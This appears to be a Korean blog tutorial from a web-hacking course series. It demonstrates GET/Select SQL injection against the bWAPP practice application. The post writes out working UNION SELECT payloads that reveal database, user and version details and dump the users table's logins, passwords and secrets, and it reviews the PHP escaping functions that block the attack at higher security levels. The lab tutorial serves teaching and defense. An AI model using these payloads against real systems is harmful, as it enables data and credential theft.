정보보안(구버전)/ bWAPP 2019. 1. 30. 14:32
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Injection
- OWASP Top10 A1 - 악의적인 명령 삽입
- 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를
획득할 수 있는 취약점이다.
- Ex) HTML 인젝션, SQL 인젝션, PHP 인젝션, XML 인젝션
2. Search & Select 차이점
- Search 방식 : URL에 'title' 변수를 이용하여 SQL 요청을 서칭하는 방식
- Select 방식 : URL에 'movie' 변수를 이용하여 Go 버튼을 클릭하여 SQL 요청하는 방식
3. Injection - SQL Injection(GET/Select)
Ex1) Injection - SQL Injection(GET/Select) 이해 I
보안 레벨 및 시나리오 선택
'G.I.Joe:Retaliation' 선택 -> 'Go' 버튼 클릭
title 변수가 아니라 moive 변수로 DB를 요청하는 것으로 확인됨
movie 변수에 '(작은따옴표) 인젝션 실시
'(작은 따옴표)를 입력하여 취약점이 있는지 확인 실시
Ex2) Injection - SQL Injection(GET/Select) 이해 II
movie 변수에 movie=0 union select all 1,2,3,4,5,6,7 # 인젝션 실시
SQL 인젝션을 이용한 컬럼 정보 확인
movie 변수에 movie=0 union select all 1,database(),user(),system_user(),@@version,6,7 # 인젝션 실시
SQL 인젝션을 이용한 컬럼 정보 확인
movie 변수에 movie=0 union select all 1, concat(id,login),password,email,secret,6,7 from users # 인젝션 실시
SQL 인젝션을 이용한 bWAPP 데이터베이스의 users 테이블(id,login,password,email...) 내용 확인
movie 변수에 movie=0 union select all 1, concat(id,login),password,email,secret,6,7 from users limit 1,1# 인젝션 실시
SQL 인젝션을 이용한 bWAPP 데이터베이스의 users 테이블(id,login,password,email...) 내용 확인
Ex3) 'sqli_2.php' & 'functions_external.php' 파일 내용 확인
bee@bee-box:/var/www/bWAPP$ ls -l sqli_2.php
-rw-rw-r-- 1 root www-data 7996 2014-11-02 23:52 sqli_2.php
bee@bee-box:/var/www/bWAPP$ vi sqli_2.php
~ 중간 생략 ~
include("functions_external.php");
if($_COOKIE["security_level"] == "2")
header("Location: sqli_2-ps.php");
exit;
}
// Selects all the records
$recordset = mysql_query($sql, $link);
function sqli($data) switch($_COOKIE["security_level"]) case "0" :
$data = no_check($data);
case "1" : $data = sqli_check_2($data);
default : $data = no_check($data); } return $data; } :q! |
bee@bee-box:/var/www/bWAPP$ gedit functions_external.php
~ 중간 생략 ~
function sqli_check_1($data) {
return addslashes($data); // 작은따옴표를 문자열로 이스케이프 실시 }
function sqli_check_2($data) {
return mysql_real_escape_string($data); // SQL 인젝션에서 사용하는 특수문자에 백슬래시를 붙여 입력값을 이스케이프 실시 (NULL, \n, \r, \, ', ", ^Z) }
function sqli_check_3($link, $data) {
return mysqli_real_escape_string($link, $data);
}
function sqli_check_4($data) {
// Not bulletproof
// Replaces a single quote (') $input = str_replace("'", "''", $data);
return $input;
} |
Ex4) 보안 레벨 'High' 변경
보안 레벨 및 시나리오 선택
'G.I.Joe:Retaliation' 선택 -> 'Go' 버튼 클릭
movie 변수에 movie=0 union select all 1, concat(id,login),password,email,secret,6,7 from users # 인젝션 실시
SQL 인젝션 실패
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 12. bWAPP Injection - SQL Injection(GET&Select) https://youtu.be/rlOzwxBohEc
'정보보안(구버전) > bWAPP' 카테고리의 다른 글
웹 해킹 bWAPP - 14. A1 - Injection - SQL Injection (AJAX/JSON/jQuery) (0) | 2019.01.30 |
---|---|
웹 해킹 bWAPP - 13. A1 - Injection - SQL Injection(POST/Select) (0) | 2019.01.30 |
웹 해킹 bWAPP - 11. A1 - Injection - SQL Injection(POST/Search) (0) | 2019.01.30 |
웹 해킹 bWAPP - 10. A1 - Injection - SQL Injection(GET/Search) (0) | 2019.01.27 |
웹 해킹 bWAPP - 09. A1 - Injection - Server-Side Included(SSI) Injection (0) | 2019.01.26 |